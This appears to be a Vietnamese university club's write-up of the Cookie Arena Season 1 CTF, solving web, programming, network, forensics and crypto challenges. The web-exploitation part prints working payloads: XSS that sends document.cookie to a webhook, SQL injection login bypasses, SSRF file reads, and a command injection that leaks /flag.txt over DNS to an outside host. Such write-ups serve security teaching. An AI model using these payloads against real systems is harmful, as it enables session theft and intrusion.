wannaShare | Writeups CTF Cookie Arena Season 1 2021 | Web – Crypto – Programming – Network – Forensics

PHAPHA_JIàN
11:04 10/11/2021

Cookie Arena được tổ chức bởi Cookie Hân Hoan, một tổ chức giáo dục nhằm phổ biến kiến thức an ninh mạng đến với cộng đồng bằng sự đồng cảm, tươi vui và hài hước.

"Xin chào, mình là Gấu aka th3_5had0w đến từ Wanne.One, với tư cách là á quân 2 trong cuộc thi Cookie Arena 1 vừa rồi thì sau đây là những review của mình."

Giống như cách mà ta đi thi toán, luôn luôn làm những câu dễ trước nhỉ? Đúng, CTF cũng giống vậy. Những câu dễ nhất thuộc phần NetworkWeb Basic. Thực sự thì 2 phần này không khó, những bạn beginner chưa biết gì cũng có thể làm được với công cụ trợ giúp đắc lực Google. Riêng phần Network thì kiến thức trong này chủ yếu là về Linux và các dòng lệnh cơ bản thôi, các bạn mới chơi chỉ cần đi dạo trên internet một lúc thôi cũng đã có thể làm được rồi. Còn phần Web Basic, như cái tên, nó hướng dẫn cho các bạn các kĩ thuật nền khi tương tác với hạ tầng của một trang web, phần này cũng chưa cần đến khai thác lỗ hổng gì nhiều cả, đa phần liên quan đến cookie, header, đọc và hiểu javascript, can thiệp các request, các thành vần cơ bản của web, các phương thức GET, POST...etc.

Web Exploitation thì nâng cao hơn, đây mới thực sự liên quan đến các kĩ thuật tấn công vào trang web, giống như những câu phân loại điểm 9 10 trong đề thi toán vậy :Đ

Các thử thách ở phần này dựa trên các lỗ hổng phổ biến như: XSS, SSFR, SQL Injection,...

Ở đây có 2 thử thách mà mình khá thích và đánh giá cao đó là "Paparazzi" và "A tiny hole", ngoài việc biết cách tận dụng các lỗ hổng Web, thì còn cần phải hiểu biết nhiều về hệ điều hành Linux.

Có một phần mini bao gồm các thử thách Programming, mình đoán có lẽ BTC thêm vào để khuyến khích các bạn nhỏ làm quen với coding vì phần này với cá nhân mình thì để khá nhẹ nhàng và giải trí.

Tiếp đến với phần Cryptography, phần này cũng không quá khó, vừa tâm nhưng các challenge yêu cầu người chơi có kiến thức nền về toán học và mật mã học, nên bạn nào muốn vjp pro phần này thì nhớ học toán chăm chỉ như mình và tham khảo các ứng dụng của toán vào mật mã học nhé. Tuy nhiên có một thử thách liên quan đến mã hóa AES mà BTC soạn chưa kĩ lắm khiến cho nhiều người phải mò mẫm khá mệt.

Cuối cùng là phần Forensic, phần này liên quan nhiều đến pháp chứng kĩ thuật số, có nghĩa là điều tra các dấu vết hay manh mối còn sót lại sau một cuộc tấn công của tin tặc như kiểm soát gói tin, bóc tách, lọc dữ liệu từ tệp tin ảnh, âm thanh, video... Nghe thì khó nhưng BTC cũng đã làm các thử thách vừa sức với các bạn mới chơi nên bạn nào muốn làm Sherlock Holmes thời @ thì cũng không cần ngại đâu nhé, màn dạo đầu thường nhẹ nhàng và tràn ngập hứng thú. Phần này có một thử thách khá ấn tượng liên quan đến thu nhận và xử lý tín hiệu từ vệ tinh không gian.

Sau cùng thì Cookie Arena 1 đã là một cuộc thi CTF rất vui và mang tính cạnh tranh cao giữa các cá nhân, và cũng là một làn gió mới đến với các thí sinh nhỏ tuổi, tạo điều kiện để cộng đồng bảo mật ở Việt Nam ngày càng phát triển lớn mạnh. Đối với riêng cá nhân mình thì mình có một vài góp ý nho nhỏ đó là nên tăng thêm độ khó cho các thử thách và thêm 2 phần Pwn/Re.

Xin cảm ơn BTC đã tổ chức cuộc thi, các bạn trẻ nếu có hứng thú với ngành bảo mật nói chung và các giải đấu CTF nói riêng thì không những follow mỗi Cookie Hân Hoan mà còn follow cả UIT Inseclab để được đọc các writeup, tìm hiểu thêm về các kĩ thuật hay ho mới mẻ cũng như tham gia các giải đấu trong tương lai do chúng mình tổ chức nhaaaa (UIT Hacking Contest sắp đến rồi á 👉👈️). Sau đây là phần writeup cho 40 thử thách của giải vừa rồi.

CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab.

Web Basic

1. Hân hoan

Vào trang web, ta thấy có 1 form đăng nhập. Đăng nhập bằng 1 tài khoản bất kì, kết quả trả về là “You are not CookieHanHoan!”

Chỉnh sửa cookie ở phần httprequest header ta có được flag

2. Header 401

Từ tên challenge, mình đoán rằng bài này thuộc dạng authentication, status 401 chính là Unauthorized lúc người dùng xác thực sai thông tin.

Xem source HTML, mình thấy 1 chuỗi thông tin được comment lại

Basic Authentication Credential: gaconlonton/cookiehanhoan

Ta sẽ dùng thông tin này để xác thực với cú pháp như sau

Authorization: Basic base64(user:pass)

Mình encode gaconlonton:cookiehanhoan sang kiểu base64 bằng extension Decoder trong burpsuite, ra được chuỗi sau:

Z2Fjb25sb250b246Y29va2llaGFuaG9hbg==

Lưu ý rằng, cần phải đổi method GET→POST trước khi request

3. JS Bp Bp

View-source HTML, có 4 file script được include vào

Vào xem mã nguồn của 4 file này, ta thấy rằng chỉ toàn là những kí tự +,[,],!, Search gg mình biết được đây là 1 dạng jsfuck.

Mình tìm cách decode jsfuck trên google và thấy 1 trang khá là hay: https://enkhee-osiris.github.io/Decoder-JSFuck/

Okay, bây giờ ta sẽ sử dụng tool trên để decode hết 4 file script này:

#1.js
function verifyUsername(username) {     if (username != "cookiehanhoan") {       return false     }     return true   }
#2.js
function reverseString(str) {   if (str === "")    { return "" }   else {   return reverseString(str.substr(1)) + str.charAt(0)}   }
#3.js
function verifyPassword(password) {     if (reverseString(password) != "dr0Wss@p3rucreSr3pus") {       return false     }     return true   }
#4.js
function verifyRole(role) {
    if (role.charCodeAt(0) != 64) {
        return false;
    }
    if ((role.charCodeAt(1) + role.charCodeAt(2) != 209) && (role.charCodeAt(2) - role.charCodeAt(1) != 9)) {
        return false
    }
    if ((role.charCodeAt(3).toString() + role.charCodeAt(4).toString() != "10578") && (role.charCodeAt(3) - role.charCodeAt(4) != 27)) {
        return false
    }
    return true
}

Với, 1.js, ta biết được username ta cần nhập là cookiehanhoan 2.js, Hàm đảo ngược kí tự trong chuỗi 3.js, Đảo ngược kí tự của password ra chuỗi dr0Wss@p3rucreSr3pus

Kết luận

4. Impossible

Xem sourse HTML, ta thấy hàm checkPass được gọi khi ta nhấn vào button Submit

function checkPass()
{
    var password = document.getElementById('password').value;
    if (btoa(password.replace("cookiehanhoan", "")) == "Y29va2llaGFuaG9hbg==") {
        window.setTimeout(function() {
            window.location.assign('check.php?password=' + password);
        }, 500);
    }
}

Decode chuỗi base64 trên ta được password cookiehanhoan Đoạn code ở trên không thay thế bằng đệ quy nên ta có thể double đoạn string như sau: cookiecookiehanhoanhanhoan Lúc này, đoạn sau sẽ được thay thế bằng: cookiecookiehanhoanhanhoan → cookiehanhoan ==> Flag{Javascript_is_not_safe???}

5. Infinite Loop

Bài này liên lục redirect đến id khác nhau, xem response của request ?id=6 ta có được flag

6. I am not a robot

Vào trang http://chal2.web.letspentest.org/robots.txt Ta thấy 1 đường dẫn sau User-agent: Allow: /fl@g1337_d240c789f29416e11a3084a7b50fade5.txt Vào đường dẫn trên ta có flag ==> Flag{N0B0T@ll0w}*

7. Sauce

Xem source HTML → Flag{Web_Sause_Delicious}


Web Explotation

1. XSS

Thử với <script>alert(1)</script> popup hiện ra cho thấy rằng đoạn javascript được thực thi khi. Mình dùng payload xss sau để lấy được cookie của admin bot thông qua webhook. Webhook có thể hiểu là dịch vụ thứ 3 nơi nhận các gói tin từ http, có rất nhiều dịch vụ webhook online miễn phí, các bạn có thể tìm trên google. Ở đây mình dùng https://webhook.site/

<script>
    fetch(‘https://webhook.site/1b653ea8-7512-4d47-b459-071f20ef5152?c=’ + document.cookie)
</script>

Xem request nhận được từ webhook, ta có được flag

==> FLAG{5b7eca261028a4042fde4e3f45dec294} Do quá nhiều request khiến admin bot bị quá tải nên đợi khá lâu để có được flag.

2. XSS Filter

Giống ý tưởng bài trên nhưng để ý rằng server thêm CSP (Content Security Policy) default-src 'self'; script-src 'nonce-matuhn' 'strict-dynamic'; style-src 'unsafe-inline' Ta có thể hiểu là nonce-xxxxxxxx có nghĩa là chỉ cho phép script nào match chính xác thì mới được phép thực thi

<script nonce="matuhn">
    fetch(‘https://webhook.site/1b653ea8-7512-4d47-b459-071f20ef5152?c=’ + document.cookie)
</script>

Đợi 1 lúc. Xem request nhận được từ webhook, ta có được flag.

3. Ét Quy Eo

Bài này thuộc loại sql injection authentication. Ta có thể dùng payload sau: xxx' or 1=1 -- Đoạn query sẽ thực hiện trông như thế này: select from users where username='xxx' or 1=1-- and password='' Vì 1=1 trả về true và đoạn sau dấu -- sẽ bị comment nên ta có thể hiểu câu lệnh query như sau: select from users where username=true Kết quả trả về: (1, 'lil uzi vert', 'is_admin', 'RmxhZ3tGcjMzX1N0eWwzfQ==') decode đoạn base64 ta được flag ==> flag = Flag{Fr33_Styl3}

4. SQL Filter

bằng cách dùng oR :)) (vì câu lệnh sql chữ thường hay in hoa đều thực thi được) Thay vì 1=1 ta có thể dùng (1) payload : xxx'oR(1)-- (1, 'lil uzi vert', 'is_admin', 'RmxhZ3tHcjMzdDFuR30=') ==> flag = Flag{Gr33t1nG}

5. Misconfiguration

Bài này flag được chia làm 3 phần. Dùng tool gobuster với wordlist common.txt ta có 2 đường dẫn là: .htaccess → part 1: Flag{1b283f0725 web.config → part 2: Trong web-config, ở tag deny ta thấy 1 đường dẫn đến file backup-ddmmyy.bak Sau khi download file này về, mình dùng command file trong linux để xác định loại file

$ file backup-ddmmyy.bak
backup-ddmmyy.bak: Zip archive data, at least v2.0 to extract
$ unzip a.zip -d .
Archive:  a.zip
  inflating: ./part3.txt
$ cat part3.txt 
part 3 of the flag : caca7b183}

Okay, Đây là 1 file zip, giải nén ra ta có được 1 file text, đọc file này ta có part 3 của flag ==> flag = Flag{1b283f0725d536a0f217d89caca7b183}

6. Paparazzi

Đây là 1 service có chức năng truy cập vào url ta nhập vào và chụp lại màn hình. Dạng này thuộc loại SSRF, ta có thể fuzz nhanh với wrapper file:///

file:///proc/

Search google một hồi mình biết được rằng ta có thể lấy thông tin từ thư mục hiện hành thông qua /proc/{id}/cwd, chọn với id với danh sách trên ta đều có thể lấy được thư mục hiện hành. file:///proc/1/cwd

Oh có 1 thư mục có tên lạ, mình vào thư mục này thì có 1file flag.txt

file:///proc/1/cwd/Th1s_1s_sEcreT_pAth_c4n_Gu3sss_17831278392131/flag.txt

7. Gatling gun

Đầu tiên mình kiếm đến đường github theo yêu cầu của phần mô tả của challenge: https://github.com/cookiehanhoan/HoangTuEch Từ đây ta có được 3 wordlist : id, password, username Ở đây, mình dùng extension burp intruder để bruteforce, mình thiết lập loại tấn công là Cluster bomb và set 3 payload tương ứng với 3 tham số truyền vào.

Ta cài đặt filter như sau:

option Negative search, để filter những request không có kí tự FLAG{Not_True}

9. ID'OR1=1

Tên đề bài khiến mình ăn ngay cú lừa liên tưởng đến sql injection, khiến mình tốn rất nhiều thời gian =.=

Bài này chỉ đơn giản là bruteforce id, mình tiếp tục sử dụng burp intruder, nhận thấy rằng id=1337 có chứa flag

{"Age":18,"Email":"Flag{61cb4a784e83b6109999af6f036b88bf}","First_Name":"Admin","Gender":"Female","Id":1337,"Last_Name":"Pro"}

10. A tiny hole

Xem qua source-code được cung cấp, mình nhận thấy những đặc điểm sau:

Theo description từ challenge, server hạn chế kết nối ra bên ngoài -> loại bỏ ý tưởng reverse shell

Xem qua đoạn code, mục tiêu hướng đến của chúng ta ở bài này là control script_path để chạy đoạn lệnh ta mong muốn.

Có 1 vấn đề là Server hạn chế kết nối ra bên ngoài nên ta bắt buộc url_script phải là đường dẫn internal.

Để ý lại URL không hề filter, nên mình dùng SSRF qua protocol file:// để lấy nội dung từ file /etc/hosts.

Trong quá trình phân tích và đọc hiểu code, mình nghĩ ra một ý tưởng là sử dụng dấu xuống dòng (\r\n) ở script_name để gây ra lỗi và nội dung sẽ ghi vào file log, ta cùng xem đoạn query sau:

Và đây là kết quả khi chạy payload trên:

Magic chưa :v, vì tên file không đúng định dạng dẫn đến lỗi nên khi thực thi dòng này

command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True)

kết quả trả về từ process sẽ dẫn đến lỗi và ghi vào file log qua option stderr

Ok từ đây ta chỉ cần trigger đoạn trên bằng đoạn query thứ 2:

Và kết quả thu được:

File log2.txt:

dòng echo 123 đã được thực thi

Kết luận:

Final payload:

request1:

command_log_file=log
&script_dir=toidihackdao
&script_name=%0A`nslookup $(cat $(echo Y2F0IC9mbGFnLnR4dA== | base64 -d)).qcpar0iw.requestrepo.com`%0A
&script_url=file:///etc/hosts

request2:

command_log_file=log2
&script_dir=toidihackdao
&script_name=hackisfun
&script_url=file:///src/logs/log.txt

Kết quả: ==> Flag{CookieWarrior_Please_Think_Out_Of_The_Box}


Programming

1. SUM()

Khi ta kết nối netcat:

$ nc programming.letspentest.org 8111
Number list:
32856 98049 13909 86430 74111 67593 86667 53221 86708 32921 Calculate the equation of this numbers:

Chương trinh sẽ yêu cầu ta tinh tổng của các chuỗi random xuất hiện trên Terminal. Tác giả cũng cho ta 1 file socket có 1 số tác vụ như send hay recieve. Nhưng minh là người chơi hệ pwntools. Bài này thì ko có gì khó chỉ cần leak chuỗi này về cộng lại đó là kết quả . Code solve:

from pwn import * p=remote('programming.letspentest.org',8111) while(1):
p.recvuntil("\n")
s = p.recvuntil("\n") log.info(s)
m = s.split(" ")
sum = 0;
for i in m:
if i!="\n": sum+=int(i,10)
p.sendline(str(sum)) p.recvuntil("\n")
msg = p.recvuntil("\n") if "flag" in msg:
log.info("BINGO "+msg)
break p.interactive()

FLAG: Flag{1plust1_1s_2_qu1ck_mafth}

2. Pro102

Ở bài này chương trinh cho ta 1 phương trình bậc 2. Trong file teamplate send và recive tác giả cấp có gợi ý cho ta cách gửi input:

nc programming.letspentest.org 8222 Equation:
1*X^2 - 710*X + 36025 = 0
Calculate the roots of this equation:

Tới đây thì mình áp dụng công thức toán quen thuộc ở cấp 2 tính delta để xác kiểm tra nghiệm của phương trinh thé nào sau đó áp công thức tính ra nghiệm: Code solve:

from pwn import *
import cmath
p = remote("programming.letspentest.org", 8222) for i in range(10):
p.recvuntil("\n")
bt = p.recvuntil("\n") log.info(bt)
s = bt.split("*X^2")
a = int(s[0],10)
s2 = s[1].split("*X")
b = int(s2[0],10)
s3 = s2[1].split("=")
c = int(s3[0],10)
delta = b**2 - 4 * a * c if delta < 0:
print "NOPE"
p.sendlineafter("\n","NOPE") elif delta == 0:
print str(-(b / (2 * a)))
p.sendlineafter("\n", str(-(b / (2 * a)))) else:
payload = str(int((-b-math.sqrt(delta))/(2*a))) payload += ", "
payload += str(int((-b+math.sqrt(delta))/(2*a))) p.sendlineafter("\n", payload)
mes = p.recvuntil("\n") if "flag" in mes:
log.info("Bingo "+mes)
break p.interactive()

FLAG: Flag{2fast2fur10us}

3. Roberval

Đề bài:

nc programming.letspentest.org 8333
Harry có một túi bi gồm N viên, trong đó, có 1 viên bi nhẹ hơn so với các viên bi còn lại. Harry cho thí sinh một chiếc cân Roberval và yêu cầu sử dụng chiếc cân này để tìm ra viên bi nhẹ hơn với ít số lần cân nhất.
Với N = 1594323
Số lần cân ít nhất là:

Bài toán cân bi là 1 bài toán khá kinh điển, các bạn có thể dễ dàng tìm thấy trên google. Thực ra công thức minh cũng search google ra : )). Công thức mình tìm dc là: X = log3(n) -> với x là số lần cân ít nhất . n là số lượng bi Code khai thác:

from pwn import * import cmath
from sympy import * import math
p = remote("programming.letspentest.org", 8333) i=1
for i in range(5):
p.recvuntil("N = ")
x = int(p.recvuntil("\n")[:-2],10) t = log(x,3)
p.sendline(str(t))
print(i)
i=i+1
p.recvline()
p.interactive()

Flag: Flag{n0_pr0b_w1th_cub3_r00t_RIGHT?}


Network

1. Post Office Man

Thử connect đến domain và port được cung cấp nc network.letspentest.org 9002

Nhận được thông tin sau mình biết được server đang giao tiếp bằng phương thức pop3 +OK popper file-based pop3 server ready

Okay, đăng nhập với user và pass bất kì

Please using USER to login first
Các Bạn hãy sử dụng câu lênh USER để login vào hệ thống (Cứ nhập linh tinh zô 乁| ・ 〰 ・ |ㄏ)
USER 3
+OK user accepted
Please using PASS to login first
Các Bạn hãy sử dụng câu lênh PASS để login vào hệ thống (Cú nhập linh tinh zô 乁| ・ 〰 ・ |ㄏ)
PASS 1
+OK pass accepted

Dùng command LIST để hiển thị ra thứ tự và thông tin về kích thước tin nhắn

+OK 10 messages (9400 octets) 1 940
2 940
3 940
4 940
5 940
6 940
7 940
8 940
9 940
10 940

Tiếp tục sử dụng RETR <thứ tự> để xem tin nhắn, sau một hồi xem hết mình nhận thấy tin nhắn thứ 8 có chứa flag

RETR 8
...
************************| Flag{1-Ha\/3-1o0o-UnS33n-3Ma1L} |******************** ...

2. Very Good Shipper

Dựa vào đề bài, mình nghĩ ngay đến scan port bằng nmap


$ nmap -v network.letspentest.org
...
Discovered open port 9003/tcp on 18.139.222.220 Discovered open port 9002/tcp on 18.139.222.220 ...

Ta có được 2 cổng là 9002 và 9003 Tuy nhiên, 9002 là cổng đã được sử dụng ở bài Post Office Man nên ta sẽ kết nối vào cổng 9003. Để làm bài này mình đã xem kĩ phần rules, nên vượt qua khá dễ. Lưu ý bài này có một khoảng thời gian timeout, ta phải làm nhanh. nc network.letspentest.org 9003

Mình sẽ để đáp án ở đây: Có bao nhiêu chủ đề trong Cookie Arena Season 1? -> 6 Ngoài 3 giải chính (nhất, nhì, ba), thì Cookie Hân Hoan có bao nhiêu giải thưởng phụ? -> 10 Cookie Hân Hoan có bao nhiêu nhân vật chính? -> 4 Bạn đang kết nối tới cánh cửa này thông qua giao thức mạng nào? -> TCP Cookie Hân Hoan là fanpage chia sẻ về? -> Bảo mật và an toàn thông tin Những người được ban tổ chức lựa chọn để trao giải, có phải gửi cách giải các thử thách (write-up) cho BTC không? -> Có

Flag: Flag{t00-ez-4-y0u}

3. Where is my house?

Đề bài nhắc đến khá nhiều keyword "DNS", vì vậy mình dùng dig để xem thông tin của Records về domain này. Theo kinh nghiệm mình thì flag thường nằm ở TXT record, nên mình dùng command sau:

dig txt letspentest.org
...
;; ANSWER SECTION:
letspentest.org. 300 IN TXT "Flag{DNS_A_AAAA_TXT_CNAME}"

Flag: Flag{DNS_A_AAAA_TXT_CNAME}

  1. Scan me if you can Đề bài đã quá rõ ràng, mình bắt đầu scan port 8100-9100

$ nmap -p 8100-9100 network-insecure.letspentest.org Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-04 14:28 +07 Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 54.22% done; ETC: 14:30 (0:00:46 remaining) Nmap scan report for network-insecure.letspentest.org (18.140.65.99) Host is up (0.20s latency). rDNS record for 18.140.65.99: ec2-18-140-65-99.ap-southeast-1.compute.amazonaws.com Not shown: 999 closed ports PORT STATE SERVICE 9003/tcp open unknown 9004/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 154.84 seconds

Connect vào 1 trong 2 port trên mình đều nhận được flag

$ nc network-insecure.letspentest.org 9003 gõ kí tự bất kì và nhấn enter HTTP/1.1 400 Bad Request Server: Flag{Every-Header-Have-It-Own-Meaning}Date: Thu, 04 Nov 2021 07:33:15 GMT Content-Type: text/html Content-Length: 157 Connection: close <html> <head><title>400 Bad Request</title></head> <body> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.20.0</center> </body> </html>

*Flag: Flag{Every-Header-Have-It-Own-Meaning}*
## 5. Secure HTTP
Nhìn tên đề bài mình nghĩ giao thức kết nối giữa client với server là HTTPS, kết hợp với thông tin từ đề bài cung cấp cho ta keyword Certificate. Mình dùng openssl để xem thông tin về certificate từ domain này. Có 1 cách đơn giản hơn là ta truy cập vào https://network-insecure.letspentest.org:9004
và dùng certificate viewer của trình duyệt.

$ openssl s_client -showcerts -connect network-insecure.letspentest.org:9004 CONNECTED(00000003) depth=0 C = VN, ST = Chicken-Little, L = Pussy-Cat, O = Flag{This-Is-A-Trusted-One}, OU = https://fb.com/cookie.han.hoan, CN = https://discord.gg/cookiehanhoan, emailAddress = Cookiehanhoan@gmail.com verify error:num=18:self signed certificate verify return:1 depth=0 C = VN, ST = Chicken-Little, L = Pussy-Cat, O = Flag{This-Is-A-Trusted-One}, OU = https://fb.com/cookie.han.hoan, CN = https://discord.gg/cookiehanhoan, emailAddress = Cookiehanhoan@gmail.com verify return: ...

*Flag : Flag{This-Is-A-Trusted-One}*
------------
# Forensics
## 1. AUDICATY
Đề cho 1 file **squidgame.wav**, mở file bằng **Audacity** chuyến sang chế độ
**Spectrogram** ta thấy ngay flag
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.37.28.png)
Đoạn giữa hơi khó nhìn nhưng vì đã xem qua phim Squidgame nên dễ dàng đoán ra
*flag là: Flag: Flag{No_Bullet_for_Player_001}*
## 2. Basic Image
Đề cho một file hình và tìm xem hình đó xuất hiện ở bài viết nào của FanPage https://www.facebook.com/cookie.han.hoan/ nhưng mình quăng bức hình lên Aperi'Solve (aperisolve.fr) trước xem có gì =))
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.38.37.png)
Ở **Exiftool** có ngay flag :D Easy right? 
*Flag: Flag{metadataratatatataaaaaa}*
**3. ExSeller
Đề cho file xlsx. File xlsx thật chất là file zip nên ta có thể unzip

file bruteme.xlsx bruteme.xlsx: Microsoft Excel 2007+ $ unzip bruteme.xlsx Archive: bruteme.xlsx inflating: [Content_Types].xml inflating: _rels/.rels inflating: xl/_rels/workbook.xml.rels inflating: xl/workbook.xml inflating: xl/theme/theme1.xml inflating: xl/worksheets/sheet2.xml inflating: xl/worksheets/sheet3.xml inflating: xl/worksheets/sheet1.xml inflating: xl/sharedStrings.xml inflating: xl/styles.xml inflating: docProps/app.xml inflating: docProps/core.xml

Mình thấy được file shareStrings.xml khả khi nên xem có gì

$ cat xl/sharedStrings.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"; count="2" uniqueCount="2"><si><t>check</t></si><si><t>Flag{Micro$oft_Heck3r_Man}</t></si></sst>


*Flag: Flag{Micro$oft_Heck3r_Man}*
## 4. From the above
Đề cho file wav, sau khi mở file thấy giống âm thanh của SSTV nhưng âm thanh bị nhiễu bởi thời tiết, search trên google mình có được tool WXtolmg có thể giải quyết bài này
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.41.29.png)
*Flag: Flag{h3ll0_fr0m_th3_0th3r_S*
## 5. Streamer
Đề cho ta file pcapng, mở file bằng wireshark Check Object HTTP mình thấy có file evilcontent.zip
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.43.04.png)
Save as về và unzip xem có gì

$ file evilcontent.zip evilcontent.zip: Zip archive data, at least v2.0 to extract $unzip envilcontent.zip


File zip này chứa file flag.txt, nhưng ta cần password
Check lại file pcapng, mình follow TCP Stream, ở Steam thứ 5 ta thấy có password
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.43.56.png)
Save as về ta có 1 file unzip.
Unzip file evilcontent.zip và cat flag

$ cat flag.txt Flag{TCP_streaming_go_skrrrrrrrt}

6. Intercepter
Đề cho ta file gif. Mình dùng GIF to PNG - online-convert.com để có được 21 tấm ảnh tạo thành file gif
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.55.50.png)
Mình check mỗi tấm hình có chứa các mảnh Qrcode
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.56.30.png)
Sau khi cắt toàn bộ các mảnh QRcode trong các hình ra và ghép lại mình được 1 mã QRcode. Scan QRcode và lấy flag
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-22.57.02.png)
## 7. Volatility
Thử thách cho ta file raw
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-23.03.28.png)
Theo tên chall bài này là dùng volatility để giải, nhưng mình lỡ strings grep là ra mất rồi :D
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-23.04.00.png)
*Flag: Flag{7ef31e58bd4086e294b4d700c721f35f}*
## 8 .github
Thử thách chỉ cho ta https://github.com/
Bài này theo mình thì giống OSINT hơn là Forensics :D
Dễ dàng tìm được github là https://github.com/cookiehanhoan/
Từ hint mình thấy được github này có 19 commits, check commit của hiendv mình thấy được flag.
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-23.05.12.png)
# Crypto
## 1. Xor
Đọc code thì mình thấy ciphertext đơn giản chỉ xor với 1 kí tự nào đó - > brute force 256 bytes

enc=bytes.fromhex(‘6c464b4d514b744817491714487449174b57’) from pwn import xor for i in range(256): flag=xor(i,enc) if b’Flag’ in flag: print(flag)

*Flag: Flag{a^b=c=>b^c=a}*
## 2. Morse
Đề cho wile wav, đọc tên thì mình biết đây là mã morse. Minh dùng https://morsecode.world/international/decoder/audio-decoder-adaptive.html để lấy Flag
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-23.08.34.png)
*Flag: Flag{M.O.R.S.E.C.O.D.E}*
## 3. Julius caesar
Dựa vào tên chall thì mình thấy đây là mã cipher. Mình dùng https://cryptii.com/pipes/caesar-cipher để decode
![](https://inseclab.uit.edu.vn/files/2021/11/Screen-Shot-2021-11-08-at-23.09.35.png)
*Flag: Flag{El_Clasico_Cipher}*
## 4. Sixty four
Dựa vào tên chall → decode base64
Được 1 chuỗi hex - > hex to bytes
```python
from base64 import *
b64decode('NDY2QzYxNjc3QjVGNUY1RjQyNjE3MzY1MzYzNDc4NDg2NTc4NUY1RjVGN0Q=') bytes.fromhex(_.decode())

6. AES

Đề 1 đoan đã được mã hóa bằng AES-CBC. Đề cũng đã cho sẵn key và 14 bytes của IV Vậy ta sẽ đoán 2 bytes còn lại iv_part1 = "0xcafedeadbeef" Mình đoán 2 bytes cuối có thể là “x0” ( cho nó đối xứng) Decode và nôp thử thì đúng flag

from Crypto.Cipher import AES
key = b'supersecretkey!?'
iv_part1 = b"0xcafedeadbeef" 
enc=open('cipher.txt','rb').read() 
cipher=AES.new(key,AES.MODE_CBC,iv_part1+b'x0') 
print(cipher.decrypt(enc))

Flag: Flag{f4edced3a1c3e72be1257f232a7a78b6}

7. Cry more

Chương trình khá dài mình tóm gọi lại như sau: Cho phép chúng ta mua các vật phẩm nhưng không thể mua flag Để mua thì ta order để lây signature của vật phẩm đó , sau đó dúng signature để confirm Signature được tình băng : sha512(signkey+payment).hex() sau đó nói lại vào payment gửi cho chúng ta, signkey là giá trị bí mật server giữ, ta chỉ biết nó có độ dài từ 8->32 Quan trọng là hàm parse_qsl() Mình thấy nếu thêm vào 1 product ở phía sau thì nó chỉ parse ra giá trị product thằng phía sau. Vì hàm tính signature là sha512 nên mình có thể dùng hashlength extension attack để tạo ra signature mơi có chưa &product=FLAG ở phía sau từ 1 thàng signature lấy từ server Cách thực hiện: Lấy 1 signature của 1 sản phâm về decode base64 để lấy ra payment và signature. Chọn đồ dài len tùy ý từ 8->32 Dùng hash extender để thêm &product=FLAG vào phía sau payment và tính ra signature mới gửi lại payment mới + “sign=”+ signature mới vừa tính cho server Bài này mình làm tay, nhân phẩm tốt nên brute force len có mấy số là ra

TIN LIÊN QUAN
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab. lttn SILVER WATER INDUSTRIES Challengge Đầu tiên mình nc...
The Wanna.One Cyber Security Club shares writeup of some solved Challenges with the purpose of academic exchanges. We always welcome and look forward to comments from any of you via email: wannaone.uit@gmail.com FWORD CTF 2021: https://ctftime.org/event/1405 Sat, 28 Aug. 2021, 00:00 ICT — Sun, 29 Aug. 2021, 12:00 ICT Author:...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab. Mochi Nishi vaudeville Description Info: The Dramatis Personae invite...